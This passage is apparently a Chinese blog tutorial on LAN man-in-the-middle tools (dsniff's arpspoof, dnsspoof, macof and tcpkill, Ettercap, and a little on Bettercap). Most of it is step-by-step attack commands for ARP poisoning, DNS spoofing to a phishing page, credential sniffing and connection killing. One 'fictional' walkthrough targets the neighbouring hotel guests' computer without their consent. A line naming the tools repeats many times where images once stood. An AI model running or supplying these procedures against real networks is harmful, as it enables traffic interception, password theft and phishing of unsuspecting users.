       arpspoof(8), libnids(3), services(5), magic(5)

filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy、webspy

filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy、webspy  使用方式都 差不多。可以 使用 man 查看具体使用。

FILESNARF(8)                System Manager’s Manual               FILESNARF(8)

NAME
       filesnarf – sniff files from NFS traffic

SYNOPSIS
       filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

DESCRIPTION
       filesnarf  saves  files sniffed from NFS traffic in the current working
       directory.

OPTIONS
       -i interface  指定监听接口
       -p pcapfile   处理捕获的 包文件
       -v            “反转” 模式.  反转匹配,选中不匹配的文件.
       pattern       指定正则表达式              
       expression    指定 一个要嗅探的流量的 tcpdump(8) 过滤表达式 

SEE ALSO
       dsniff(8), nfsd(8)

sshmitm、webmitm

webmitm 与 sshmitm 类似,都需要配合 dnsspoof 一块使用。

  • webmitm 劫持的是 HTTP 和 HTTPS 会话过程
  • sshmitm 捕获 SSL 的加密通信

arpspoof

arp 毒化的原理,简单的说就是伪造MAC地址与IP的对应关系,导致数据包由中间人转发出去。

中间人攻击 — ARP毒化:http://www.2cto.com/Article/201207/144532.html

arp 毒化有双向(remote)和单向(oneway)两种方式。

  • 双向方式:将对两个目标的ARP缓存都进行毒化,对两者之间的通信进行监听。一般来说,会选择使用双向欺骗的方式来获取所有的数据包进行嗅探分析。
  • 单向方式:只监听从第一个目标到第二个目标的单向通信内容。

若目标主机开启了ARP防火墙怎么办?

  • 直接欺骗会引发报警且无效果。这时就是单向ARP毒化大显神威的时候了。只要路由器没有对 IP 和 MAC 进行绑定,我们就可以只欺骗路由器,使从路由器发给目标主机的数据包经过中间人,完成我们的攻击。

 如果不指定 tagget 则向网络中所有的主机发送欺骗

root@kali:~# arpspoof -h
Version: 2.4
用法: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

名字
       arpspoof – 在交换式网络截获包
概要
       arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
描述 
       通过伪造 ARP 响应,重定向局域网中一个目标主机(或所有主机)上的数据包
       到 局域网中的另一个主机上。这在交换式网络上嗅探流量是一个非常有效的方法
       注意:内核IP转发(或一个实现相同功能的用户程序,如 fragrouter(8))必须提前打开。

选项
       -i 网卡接口        指定使用的网卡接口

       -c own|host|both   
       指定在恢复arp配置时使用的硬件地址;在清理时,可以用自己的地址和主机的地址发送数据包。
       用一个假的硬件地址发送数据包可能会破坏与某些switch/ap/bridge 配置的连接,
       但是它比使用自己的地址更可靠,这是arpspoof事后清理的默认方式。

       -t target    指定要 ARP毒化 的主机(如果没有指定,默认局域网所有主机). 可以重复指定多个主机。
       -r           毒化两个主机(主机和目标)以捕获两个方向的流量。(只在与 -t 联合使用才有效)
       host         指定你希望拦截数据包的主机(通常是本地网关)。

参见;另请参阅
       dsniff(8), fragrouter(8)

       
// 使用ARP毒化,重定向受害者的流量传送给攻击者。
root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1    

// 第二个ARP毒化攻击使网关的数据重定向到攻击者的机器(流量由网关到攻击者再到受攻击者)
root@bt:~# arpspoof -i eth0 -t 192.168.1.1  192.168.1.2   

root@bt:~# arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
root@bt:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.5

arpspoof 启用 arp 欺骗,将自己网卡的IP地址伪装成指定IP地址的MAC持续不断的发送假的ARP响应包给一台或多台主机,以 “毒害” 其ARP缓存表。一旦成功,即可以用别的嗅探工具来接收发送到本地的数据包。

与 Ettercap 不同的是, arpspoof 并不进行真正的嗅探,它只是简单的进行ARP欺骗,本地主机 必须启动内核的 IP Forwarding功能(或者使用 fragrouter 这样的工具),否则,所有 “转向” 发到本地的数据包就如同进了黑洞, 正常的网络通信将无法进行, 而一旦启动了本地的 IP Forwarding,内核将自动对本地收到的目的IP却是别处的数据包进行转发,正常的通信自然可以进行。这样,就可以进行后续的工作,包括分析嗅 探得到的数据包、修改数据包中的某些信息以重新转发等等。

Ettercap 则不光进行 ARP 欺骗,它还要做后续的许多工作,包括分析嗅探得到的数据包、修改数据包中的某些信息以重新转发等等。

Linux 中缺省是禁止 IP Forwarding 的,输入下面命令,启用 IP 转发( PS: 利用 Linux 主机的路由功能 )

root@bt:~# cat /proc/sys/net/ipv4/ip_forward
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward

或者 修改下面文件

修改       # vi /etc/sysctl.conf          修改 net.ipv4.ip_forward=1
修改后运行 #sysctl –p                   命令使得内核改变立即生效;

一旦启动了本地的 IP Forwarding,内核将自动对本地收到的目的IP是别处的数据包进行转发,
( 同时向数据包的源地址发送ICMP重定向报文, 当然, 由于启用了ARP欺骗, 这个重定向报文是不起作用的)。

arpspoof 实现局域网欺骗、中间人攻击

在现代的局域网当中,交换式局域网是主流,广播式的局域网已经或者不在存在,以前要嗅探局域网络上传输的信息只需将网卡设置为混合模式,通过捕获数据包的软件,就可以截取。现在交换式以太网或者局域网中,交换机通过查看路由表(不严格的说法)发送信息。要想截获两台主机中传递的信息可以通过 arp 欺骗获得。

  • 中间人攻击:中间人攻击是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”
  • ARP 协议:ARP协议准确的来说是ARP地址解析协议。ARP是指根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。通俗的说,DNS是域名与IP对应的协议,而ARP是IP与mac(物理地址)对应的协议,DNS常用于主机与外网机器连接时进行地址转换,而ARP多用于内网机器通信时地址的转换
  • ARP 欺骗:ARP欺骗就是通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可以嗅探、篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

步骤:

  • 第一步:查看IP和网关,命令: ifconfig ,route -n ( 我本机网关:192.168.1.1 )
  • 第二步:利用 nmap 查看同网段下(192.168.1.0/24)的所有活跃IP,使用命令 nmap 192.169.1.0/24。确认被攻击机的IP地址。( 假设被攻击主机 IP 是 192.168.1.5 )
  • 第三步:让被攻击的主机断网:arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
  • 第四步:断网不是我们的目的,我们的目的是实施ARP欺骗和中间人攻击。开启 IP 转发功能,linux 因为系统安全考虑,是不支持 IP 转发的,其配置文件写在 /proc/sys/net/ipv4 的ip_forward中。默认为0,修改为1 ( 命令:echo 1 > /proc/sys/net/ipv4/ip_forward  ),就可以嗅探目标靶子的流量,来获取目标的重要信息。
  • 欺骗成功,使用 ettercap 渗透工具来抓取账号密码,执行命令 ettercap -Tq -i eth0 监控 eth0 网卡的流量

dnsspoof

root@kali:~# dnsspoof -h
Version: 2.4
用法: dnsspoof [-i interface] [-f hostsfile] [expression]

描述       
       dnsspoof启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,
       它会分析其内容,并用伪造的DNS响应包来回复请求者。
       如果是请求解析某个域名,dnsspoof会让域名重新指向另一个IP地址(黑客所控制的主机),
       如果反向IP指针解析,也会返回一个伪造的域名.
       
       在dnsspoof的命令选项中,可以指定一个主机列表文件,文件格式与/etc/hosts相同,
       如果不指定该文件,dnsspoof会返回本地的IP给域名解析请求者。

选项
       -i interface    指定使用的网卡
       -f hostsfile    指定要欺骗的网址。如果不指定hostsfile,将返回本机的IP地址给攻击者
       expression      指定一个tcpdump(8)过滤器表达式来选择要嗅探的流量。就是指定一个Tcpdump准则 的 包过滤

文件
       /usr/share/dsniff/dnsspoof.hosts
              Sample hosts file.

参见;另请参阅
       dsniff(8), hosts(5)   // man 8 dsniff   或者  man 5 hosts

root@bt:#dnsspoof -i eth0 -f /usr/h22.hosts

dnsspoof [-i interface] [-f hostsfile] [expression]   这里-f 可以指定主机列表文件,文件格式与/usr/local/lib/dnsspoof.hosts相同,如果不指定该文件,dnsspoof会返回本地的 IP给域名解析请求者

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

这里本地主机会抢先代替DNS服务器来相应查询,前提是本地主机先回答DNS查询,如果因为 网络问题,DNS服务器先发送了应答,DNS欺骗就不能生效了

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

macof

macof 用来进行 MAC flooding,在本地网络中发送大量的随机 MAC 地址的数据包,可以指定源IP、目的IP、源端口、目的端口,以MAC洪水的方式来导致某些交换机 MAC 表溢出,从而丧失 “交换” 能力 ,对于以后收到的数据包以广播方式发送,以达到共享式嗅探的目的。注意:在进行 MAC 泛洪之前就存在于交换机 MAC 表中的条目不会被覆盖,只能等到这些条目自然老化。

NAME
       macof – 用随机 MAC 地址 洪泛 交换式局域网络

用法
       macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
       [-n times]

选项
       -i interface    指定发送的网卡接口
       -s src      指定源 IP 地址
       -d dst      指定目的 IP 地址
       -e tha      指定目标硬件地址
       -x sport    指定 TCP 源端口
       -y dport    指定 TCP 目的端口
       -n times    指定发送包 的 个数

       任何未指定的选项的值都是随机生成的。

参见;另请参阅
       dsniff(8)

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

tcpkill

tcpkill 能够切断指定的 TCP 会话连接,主要是基于 TCP 的三次握手过程。 中断特定的 TCP 连接。

root@kali:~# tcpkill -h
Version: 2.4
Usage: tcpkill [-i interface] [-1..9] expression

NAME
       tcpkill – kill TCP connections on a LAN

选项
       -i interface    指定监听接口
       -1…9         指定在杀死连接时使用的蛮力的程度。
                      为了在移动的接收窗口中找到一个RST,快速连接可能需要一个更高的数字。默认是3。
       expression     指定一个tcpdump(8)过滤器表达式来选择要杀死的连接
            

SEE ALSO
       dsniff(8), tcpnice(8)

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

这里,当tcpkill检测到两边的TCP连接后,会同时想两边(冒充对方)发送tcp reset报文,重置连接。

tcpnice

tcpnice 能够通过在添加活动的流量,降低指定的 LAN 上的 TCP 连接的速度

tcpnice [-I] [-iinterface] [-nincrementexpression   这里的-n后面可以跟1-20,代表降低的速度,1为原速,20为最低

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

5、 Ettercap ( kali 自带工具 )

官网:https://www.ettercap-project.org/index.html

github 地址:https://github.com/Ettercap/ettercap

​ettercap 是一个高级网络嗅探软件,有人性化的图形化界面,又有丰富的命令,还可以编写过滤规则。Ettercap 能够对大多数的网络协议数据包进行解码,不论这个数据包是不是加密的。Ettercap 还拥有一些独特的方法,用来捕获主机或整个网络的流量,并对这些流量进行相应的分析。Ettercap  可以在交换机的网络环境中使用。Ettercap 的大部分特性与 DSniff 相似,可以在命令行模式下使用,也可以在图形界面上使用。

Ettercap 支持四种界面模式,分别是:Text、Curses、GTK2 、Daemonize。

  • -T 参数:即 Text 界面模式,相当于命令行,通常与之配套的参数有 -q 代表安静模式,表示不会显示抓到数据包的内容。
  • -C ( Curses ) 和 -G ( GTK2 ) 参数:图形化界面,带有 GUI。
  • -D 参数:Daemonize 也叫做守护模式,可以理解为在后台运行。

-G 参数指定在 GTK2 接口的图形模式下使用。( 是在 kali 用户下,不是 root 用户下,执行时必须 sudo,不然会有权限问题)

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

在 Ettercap 使用中,还存在关于交互模式的问题,如果启动 Ettercap 的时候没有指定参数 -N 选项,那么就默认自动选择了交互模式。如果在某些情况下不知到可以做什么,只要键入 H 就可以弹出帮助画面,可看到可执行命令的消息列表。
另外 Ettercap 并不转发数据包,转发数据包的是操作系统,因此,在中间人攻击时需要启用操作系统的数据包转发功能。当然,如果只想用 Ettercap 做一个中间人,而用其他工具来嗅探数据的话,可以加入参数-o (only-mitm)实现。

ettercap –help 命令查看帮助

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

Ettercap 两种运行方式,UNIFIED 和 BRIDGED:

  • UNIFIED 方式是以中间人方式嗅探。原理:UNIFIED方式是同时欺骗A和B,把原本要发给对方的数据包发送到第三者C上,然后由C再转发给目标。这样C就充当了一个中间人的角色。因为数据包会通过C那里,所以C可以对数据包进行分析处理,导致了原本只属于A和B的信息泄露给了C。UNIFIED方式可以完成以上欺骗,并对数据包分析。Ettercap 劫持的是A和B之间的通信,在 Ettercap 眼中,A和B的关系是对等的。
  • BRIDGED方式是在双网卡情况下,嗅探两块网卡之间的数据包。原理:BRIDGED方式 有点像笔记本电脑上有两个网卡,一个有线网卡,一个无线网卡。可以将有线网卡的 internet 连接共享给无线网卡,这样笔记本就变成了一个无线 ap,无线网卡产生的所有数据流量都将传送给有线网卡。BRIDGED方式 ettercap 嗅探的就是这两块网卡之间的数据包。

一般使用 UNIFIED 方式。其运行参数为 -M(M是MITM的首字母,为中间人攻击的缩写)。当指定 -M 参数时,即中间人攻击时,有以下几种攻击方式:

  • arp 毒化的中间人攻击。arp毒化的原理:简单的说,就是伪造MAC地址与IP的对应关系,导致数据包由中间人转手出去
  • arp 毒化有 双向(remote)和 单向(oneway)两种方式。
            双向方式将对两个目标的ARP缓存都进行毒化,对两者之间的通信进行监听。
            单向方式只会监听从第一个目标到第二个目标的单向通信内容。
            一般选择双向欺骗的方式来获取所有的数据包进行嗅探分析。
    例如:ettercap -T -q -M arp:remote /10.0.0.2/ // 
    说明:对 10.0.0.2 的所有端口的通信进行嗅探,包括发出的数据包和收到的数据包。
  •  Port Stealing:此攻击方式适用的环境是在交换机下,且路由器中ip和mac绑定无法进行arp欺骗。其基本思想是,既然无法欺骗路由器的IP和MAC对应关系,那么就欺骗交换机的吧。这样,原本应该通过交换机某一个端口到达目标主机的数据包被传入了攻击者的端口。由于本方法只能用于交换机环境,且会产生大量的数据包,严重影响网络状况,用之前须三思。

Ettercap,它相当于ARP病毒和密码嗅探界的瑞士军刀。

        -T    使用 文字 界面
        -q    安静模式,减少不必要输出
        -M    MITM(中间人)方式,下面示例中是 中间人是ARP 
如果我们的目标是网络上的所有主机,想要嗅探每个节点之间的所有传输

命令: ettercap -T -q -M ARP // //
你应当谨慎的使用上面那段命令,因为如果把一个大网络中所有的传输都通过一台很慢的计算机的话,那么这很有可能使整个网络连接瘫痪。可以找个替罪羊,来看看 IP 地址为 192.168.1.1 的主机

命令:ettercap -T -q -M ARP /192.168.1.1/ //
如果192.168.1.1 是网关,我们应该可以看到所有的输出传输。

对于 Ettercap 的 sniffing 工作方式,可以划分为五种:

  • 1)IPBASED:在基于IP地址的sniffing方式下,Ettercap将根据源IP-PORT和目的IP-PORT来捕获数据包;
  • 2)MACBASED:在基于MAC地址的方式下,Ettercap将根据源MAC和目的MAC来捕获数据包(在捕获通过网关的数据包时,这种方式很有用);
  • 3)ARPBASED:在基于 Arp 欺骗的方式下,Ettercap利用Arp欺骗在交换局域网内监听两个主机之间的通信(全双工);
  • 4)SMARTARP:在SMARTARP方式下,Ettercap利用Arp欺骗,监听交换网上某台主机与所有已知的其他主机(存在于主机表中的主机)之间的通信(全双工);
  • 5)PUBLICARP:在PUBLICARP 方式下,Ettercap利用Arp欺骗,监听交换网上某台主机与所有其它主机之间的通信(半双工)。此方式以广播方式发送Arp响应,但是如果 Ettercap已经拥有了完整的主机地址表(或在Ettercap启动时已经对LAN上的主机进行了扫描),Ettercap会自动选取 SMARTARP方式,而且Arp响应会发送给被监听主机之外的所有主机,以避免在Windows主机上出现IP地址冲突的消息。

Ettercap 目标写法:MAC / IPs / PORTs

对于 Ettercap 的常用操作,在选择目标时,Ettercap 的目标表达形式为: MAC / IPs / PORTs

依照这个规则,可以精确到特定的目标主机和端口上,MAC、IP、PORT 为三个条件,为空代表ANY,即所有。Ettercap 针对三个条件同时成立的目标进行嗅探。

示例:”//80″  表示 “任意MAC、任意IP上的80端口” 进行嗅探。

一般 MAC 部分可以留空,因此可以只用 IP 部分来确定目标主机。

当 目标有 “多个 IP” 或者 “多个端口” 时 :

  • 可用 “逗号” 来分隔不同的 C 段 IP
  • 可以用 “” 表示连续的 IP
  • 可以用 “分号” 分隔不同表达形式的 IP

示例:”10.0.0.1-5;10.0.1.33″  表示 IP地址 10.0.0.1,2,3,4,5 和 10.0.1.33。

示例:”20-25, 80, 110″   表示 端口号 20,21,22,23,24,25,80 和110。

示例:常用操作写法

arp 毒化 eth0 所在的网段,安静模式、文本显示
命令:ettercap -Tqi eth0 -M ARP // // 

监听 10.0.0.1 的 ftp,ssh,telnet 信息,并保存到本地
命令:ettercap -Tzq /10.0.0.1/21,22,23  -w hack.pcap 

对 192.168.1.120 进行 dns 欺骗,使用默认网卡 eth0,文本模式、安静显示 
命令:ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ //

使用过滤并监听 10.0.0.2 在 80 端口的所有通信,安静模式、文本显示,保存数据到本地   
命令:ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 //

控制台模式下(-T)不使用混杂模式(-p),只显示自己的通信。命令:ettercap -Tp

只嗅探本机110端口pop3的信息。命令:ettercap -Tzq //110

在控制台模式下(-T),不使用 ARP 初始化(-z),不显示数据包内容(-q安静模式),显示捕捉到的用户名、密码以及其他消息。命令:ettercap -Tzq

只嗅探本机与192.168.0.11主机在端口21、22、23上的通信。

命令:ettercap -Tzq /192.168.0.11/21,22,23

在控制台模式下(-T),加载主机列表(-j),对目标执行arp毒化中间人攻击(-M arp)
命令:ettercap -T -j /tmp/victims -M arp /10.0.0.1-7/ /10.0.0.10-20/

控制台下对整个局域网执行ARP毒化攻击(-M arp)。命令:ettercap -T -M arp // //

在控制台模式下(-T),执行 ARP 双向欺骗(-M arp:remote),嗅探网关 192.168.1.1 与 部分主机 192.168.1.2-10 之间相互通信的数据包。
命令:ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/

在控制台模式下(-T),不使用 ARP初始化(-z),使用安静模式(-q),监听所有主机110端口(pop3协议端口)。命令:ettercap -Tzq //110

在控制台模式下(-T),不进行ARP初始化(-z),使用安静模式(-q),监听目标10.0.0.1的21,22,23端口(FTP、SSH、TELNET)
命令:ettercap -Tzq /10.0.0.1/21,22,23

打印输出可用插件列表。命令:ettercap -P list

在 eth0 网卡上用自己的 filter 嗅探 ip 为 192.168.0.11 主机在 80 端口上的所有通信,并把所有的数据包保存成文件名为 “sniffed_data” 的文件。
命令:ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.0.11/80 //

单向欺骗路由,只劫持路由发向 10.1.1.2 的数据包。
命令:ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.1/ /10.1.1.2/

ettercap filter 的写法

一个好工具配一个好的过滤规则才是perfect!

Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是:
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似,但只有if语句,不支持循环语句。需要注意的地方是,if与”(”之间必须要有一个空格,且大括号{}不能省略。

Ettercap提供的一些常用的函数有:
search(where, what) 从字符串where中查找what,若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex,若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出

快速学习 etterfilter 规则写法,多去读已有的一些规则的例子,然后按照例子仿写自己的filter。

ettercap 局域网内 DNS 欺骗

:https://www.cnblogs.com/hkleak/p/5043063.html

ettercap 是什么?

在对 WEB 安全检测的时候都会用到 Cain 和 netfuke 这两款工具,功能相信用过的朋友多多少少都知道,但这两款工具是在 windows 下运行的。
而 ettercap 是在 linux 下运行的 。其实功能都是差不多的,称呼它为嗅探工具,ARP欺骗,DNS,劫持,中间人攻击等等。总之这是一款强大的安全测试工具。

DNS 简单说明

了解 DNS是什么:Domain Name System (域名系统 简称:DNS)
了解DNS欺骗是什么:攻击者(黑客)冒充域名服务器进行欺骗的一种行为
了解DNS原理原理:如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,

这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替、招摇撞骗罢了。

在 linux 下使用 arpspoof 和 dsniff 欺骗的操作如下

首先开启 linux 自带的路由转发功能
编辑 /proc/sys/net/ipv4/ip-forward 文件
echo 1 > /proc/sys/net/ipv4/ip_forward

嗅探一个主机和网关之间的所有传输,并查看它发送到网络上的双向传输的所有数据。
可以使用如下两条命令:
arpspoof -t 192.168.1.1 192.168.1.2 & >/dev/null 
arpspoof -t 192.168.1.2 192.168.1.1 & >/dev/null

打开 dsniff
使用默认的捕获表
dsniff -c -f /usr/share/dsniff/dsniff.services (当然这里你可以自己定制需要捕获端口的规则)
具体写法可以 cat /usr/share/dsniff/dsniff.services 查看编写的规则 
Dsniff找到用户名和密码后,它会将它们显示在屏幕上。
如果想要停止ARP欺骗,输入如下命令:killall arpspoof

DNS 欺骗举例

(故事纯属虚构):

那是一个夜黑风高的夜晚,又是刮风,有事闪电的,本想在撸几盘撸啊撸,搞的我心情一点都不好,于是关掉电脑准备睡觉了,然而突然啊的一声!瞬间把我从困意中拉了回来,在仔细一听~~~
在发现是隔壁宾馆在做爱爱,尼玛~~~搞这么大声做什么?让我怎么睡觉啊?尼玛的,决定展开一次入侵隔壁电脑。。。
准备工作:
隔壁电脑:192.168.1.12 (宾馆一般都装有还原精灵 所以电脑是裸奔(多数没装防火墙) )   //受害者机器
自带笔记本:192.168.1.11 (kali linux系统  接上宾馆自己那间房的网线)    //入侵者机器
网关IP:192.168.1.1
踩点:
怎么知道隔壁的电脑IP地址?
先看自己的房间号,比如是5-11(假如表示5楼11间房),在来到自己房间看自己电脑的IP地址,一般是192.168.1.11
那么隔壁的自己出门去看门牌就知道了,(假如是5-12),那么隔壁的IP地址就是192.168.1.12 最后在ping一下 通了 说明电脑开着,不同,说明电脑关着,或者防火墙什么的。。。
这个方法比较死?当然其它方法也有,根据自己经验而定。。。
首先先打开 ettercap 的 DNS 文件进行编辑,在kali下的文件路径为/etc/ettercap/etter.dns

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

在对应的位置添加对应的 标识和IP地址  * 代表所有域名 后边就是你要欺骗为的IP地址,这里是当然是我自己的主机IP地址啦,然后记得保存。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

再来编辑 /var/www/html/index.html 文件  改成你定义页面 这里我简单的改了下,因为后边我们要启动 apache2 也就是网页服务器 这是主页文件,说白了目的是为了DNS欺骗成功后,当受害者(隔壁宾馆两口)访问域名访问网站后,打开的页面就是我们这里的这个主页文件里边的内容。。。。编辑好了—记得保存

启动 apache 服务:systemctl start apache

执行命令 ettercap -G 来进入 ettercap 的图形界面

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

可以看到列出了所有机器。选择网关进行添加,这里的网关是192.18.1.1。 点击 Add to target 1

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

选择受害者的 IP地址 (隔壁那位妹子的。。。)  点击 Add to target 2

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

开始 arp 毒化 配置:mitm —> arp poisoning 

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

开始 dns 毒化配置:plugins —> mangge the plugins

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

点击 strat —> start sniffing,就开始 DNS 欺骗了。隔壁的妹子完事后,准备上电脑去逛逛空间 不管打开任何网站页面一直是这样的。。。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

ettercap 进行 ARP 欺骗

进入 ettercap 的图形化界面
root@afei:~# ettercap -G   #进入ettercap图形化界面

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

选择网卡

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

扫描局域网内的主机

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

查看扫描出的主机

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

选择目标主机,进行ARP欺骗

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探靶机图片

driftnet 工具可以监控指定网卡的流量,直接显示出流量中的图片,例如微信朋友圈和给好友发送的图像,据说有同学用来嗅探MM的照片噢!方法并不是100%成功,稍微测试好玩,还是不错的。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

ettercap 实现 DNS劫持 和 arp欺骗

攻击机:192.168.40.128
钓鱼网站:192.168.40.128
目标机:192.168.40.129

修改配置文件:vim /etc/ettercap/etter.dns

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

配置钓鱼网站,打开 apache:systemctl start apache2

打开ettercap,发动攻击

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

网关添加到 target,目标机添加到 target2( target 里的内容也可以对换)

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

开始 arp 欺骗

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

开始 DNS 劫持

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

然后目标机随便打开一个网站

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

显示 apache 的首页,则表示成功了,当然也可以自行修改 web 服务器里要显示的内容。不过要注意的是,如果地址里输入的是https,则无法显示网页。

ICMP 欺骗

icmp 欺骗:icmp欺骗即基于重定向(redirect)的路由欺骗技术。其基本原理是欺骗其他的主机,将自身伪装为最近的路由,因此其他主机会将数据包发送进来,然后作为中间人的攻击者再重新将其转发到真正的路由器上。于是我们便可以对这些数据包进行监听。当然,icmp欺骗不适用于交换机的环境,若本机在交换机的环境下则最好选择arp毒化的方式来进行攻击。icmp欺骗方式的参数是真实路由器的MAC和IP,参数形式为(MAC/IP)。

示例:ettercap -M icmp:00:11:22:33:44:55/192.168.0.1

示例:ettercap -i eth0 -T -M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)

DHCP 欺骗

DHCP spoofing:DHCP 欺骗的原理是将攻击者的本机伪装成DHCP服务器,代替真实的DHCP服务器给新接入网络的受害主机动态分配IP。这样的缺点是可能会与真实的DHCP服务器重复分配IP造成冲突,而且只能针对新接入网段的主机,难以影响到之前的主机。DHCP spoofing 方式的参数是可以分配出去的IP地址池、子网掩码和DNS,参数形式为(ip_pool/netmask/dns)。

示例:ettercap -i eth0 -T -M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1
说明:将分配 192.168.0.30,35,50-60 之中的地址,子网掩码为255.255.255.0,DNS服务器为192.168.0.1。

Port Stealing ( Port 欺骗 )

此方式适用的环境为交换机下,且路由器中 IP 和 MAC 绑定从而使 ARP 欺骗无效。其基本思想是,既然无法欺骗路由器的IP和MAC对应关系,那么就欺骗交换机,使原本应该通过交换机端口到达目标主机的数据包被传入了攻击者的端口。需要指出的是,由于这个方法只用于交换机环境,且会产生大量的数据包,可能会严重影响网络状况。

示例:ettercap -i eth0 -T -M port /1.1.1.1/ /1.1.1.2/

Ndp 欺骗

ettercap -i eth0 -T -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

6、bettercap 

官网::: bettercap
github 地址:https://github.com/bettercap/bettercap
文档:Modules :: bettercap

提到中间人攻击,最知名的莫过于 Ettercap,但是由于 Ettercap 过滤器太复杂,扩展开发需要掌握C/C++语言,同时在大型网络环境中 Ettercap 的主机发现以及欺骗功能效果较差,于是就诞生了 Bettercap。Bettercap 是一个非常强大、灵活可移植的中间人攻击框架,它具有跨平台、轻量级以及模块化等优点,在渗透测试过程中能够非常好的进行中间人测试。

kali 安装 命令:sudo apt install bettercap

工具包含以下主要特性:

  • 1、全双工和半双工的 ARP 欺骗。
  • 2、真正的 ICMP 双向欺骗。
  • 3、可配置的 DNS 欺骗。
  • 4、实时和完全自动化地主机发现。
  • 5、实时获取通信协议中的安全凭证,包括 HTTP(s)中的 Post 数据,Basic 和 Digest 认证, FTP, IRC, POP, IMAP, SMTP, NTLM (HTTP, SMB, LDAP, etc) 以及更多。
